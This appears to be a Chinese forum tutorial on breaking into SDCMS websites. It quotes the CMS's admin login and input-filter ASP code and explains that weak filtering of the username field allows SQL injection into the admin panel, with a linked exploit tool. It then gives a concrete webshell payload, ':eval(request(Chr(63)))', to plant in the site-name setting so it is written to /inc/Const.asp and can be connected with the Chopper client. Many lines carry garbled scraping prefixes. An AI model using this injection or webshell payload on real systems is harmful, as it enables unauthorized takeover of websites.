SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

: t% h& r8 x# l$ b8 _- D" {Sub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
! N. S2 R- j/ o  J    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
- d1 x! Q7 I/ b+ J4 T. K    code=Trim(Request.Form("yzm"))
4 a1 x5 g: t0 A  Q    getcode=Session("SDCMSCode")
" H+ i' D( E! m2 ^7 A, ^    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
  ]3 ?% F/ E5 U6 |/ X- r. K7 S& F    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
& ^# z, h2 G! i* m    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
, Z; c0 \3 D5 b6 ~& A2 i( O        Echo "用户名或密码不能为空"ied
% A. A+ y( [+ w  X    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
& e% |4 u0 V: v            AddLog username,GetIp,"登录失败",1
3 w5 X6 w' ^% w! e$ N+ u            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
% a; ^2 q7 J: w3 y        Else
# A2 ]  q  C, O& V) K' N4 l% p' B            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
. T9 F/ R3 }& {( d4 v, a            Add_Cookies "sdcms_admin",Rs(3)
! `. z; ?6 J2 @7 u            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
" d6 b9 b2 m# v. R# u9 l- O& }            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
  T5 P2 b1 G' `6 N' }6 N, \* b                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
! V; K. Y7 E( l            Go("sdcms_index.asp")
        End IF
0 B& A0 }' |# y) z! l        Rs.Close
        Set Rs=Nothing
    End IF
( `" Y3 x& k  d! x( J8 iEnd Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
: s2 q  I, x1 p! ?- ^4 Y
# w! I, i3 ~% ]0 X; iFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
        Case "1"
) a7 W! A/ I; ^8 W. F            t0=Replace(t0,Chr(32),"")
  A3 ^0 T+ j$ Y            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
/ }  D# n" H- y# ]        Case "2"
4 w' C( k4 N7 _5 y( i! ?2 f            t0=Replace(t0,Chr(8),"")'回格
# d. }4 R; m* V6 w8 B4 ?* ]/ g            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
$ P! F7 p) z# ^3 Z8 i6 O( Y; ^            t0=Replace(t0,Chr(10),"")'换行
" i6 _1 c3 m. k! ^$ r            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
3 |# l* T  U4 n' S$ I" u8 D            t0=Replace(t0,Chr(12),"")'换页
4 t1 C7 Z9 _. V7 T6 |            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
; i/ d- M6 I) H/ j, T- E% z% A7 L            t0=Replace(t0,Chr(22),"")
  L0 [: }* ~$ T! ?0 H; {: c            t0=Replace(t0,Chr(32),"")'空格 SPACE
. V" E) h: H' g0 p            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
( \& A+ V" p0 R2 D! j$ B2 C* l            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
- k1 [% H( O9 b9 c$ I. f  T8 O            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
. l/ c5 s- F  V( U            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
$ j5 B( h: k4 F5 b' b4 w, q; W            t0=Replace(t0,Chr(42),"")'*
! M0 K+ _. Z+ r1 s7 f            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
. }! r: D* }! A3 F            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
! f& C5 x0 e& i# r            t0=Replace(t0,Chr(58),"")':
3 \2 J/ y3 P  q8 ]4 N            t0=Replace(t0,Chr(59),"")';
2 P" }. k) A  S' @, v) Z' b$ h2 a0 `            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
2 d# @4 v+ p+ V' _8 ~            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
- O+ b" P% A& R& N            t0=Replace(t0,Chr(91),"")'\
8 C* v3 p( d4 I$ a4 E! H0 R            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
7 q2 o( y) H8 m! |$ v            t0=Replace(t0,Chr(96),"")'`
* w% x- F/ d7 L  m* ^+ q            t0=Replace(t0,Chr(123),"")'{
4 g8 Y% d1 h- ?            t0=Replace(t0,Chr(124),"")'|
" Z+ C, m) n! `5 ?, [+ g! w            t0=Replace(t0,Chr(125),"")'}
3 l9 k  s6 s6 o1 p1 V            t0=Replace(t0,Chr(126),"")'~
- X" a' ]) ^' m, Q  Z2 A$ R5 E/ C    Case Else
        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
: W2 u: S; ^/ Y* K  u: n$ R" q$ V        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
) o( b5 }9 e9 v8 m        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
! m( v9 x$ G8 J& U% i, G2 O    FilterText=t0
0 f0 M* w. [1 C: N% g1 oEnd Function
/ r" E' p* L; K& M+ H8 w  N
& |  \4 D9 x: d8 ]1 r3 R看到没。直接参数是1 只过滤
8 _1 F: e  E4 D4 X8 j+ f% \. t& \                        t0=Replace(t0,Chr(32)," ")
+ p. V: G$ w2 G% i1 X: t                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
7 _/ k+ ~7 j7 M# M. r" }) l")
* h& G: r$ D* [8 E                        t0=Replace(t0,Chr(10),"
")
" E1 l) f7 t; e漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
) o* o/ V: ^2 {: H$ {7 FEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

6 _7 e* m2 y8 L+ y! F! M测试:
% w8 {3 H/ j# x
  V( Z$ Q7 W2 W- U
现在输入工具上验证码,然后点OK
' }  x8 H9 o  E4 K6 T
/ y1 G# T4 x3 }" a9 t% O1 U4 o7 {
看到我们直接进入后台管理界面了,呵呵!
5 g5 x) r" [3 _+ W/ h0 S* ]' v2 H$ m


% }- A$ H  [$ M! \0 u8 [这样直接进入后台了。。。。

6 a. M' i; C( h& Y  |' V

SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
, x4 X  e& x6 j" R1 X


OK,现在用菜刀连接下!
2 s: R/ e" q7 u( a5 I8 N5 _7 @
, L1 E) _4 J: e% H


) F5 K# m3 |- ~8 P# B- h
5 p# v! `2 z! P' v7 D( r0 m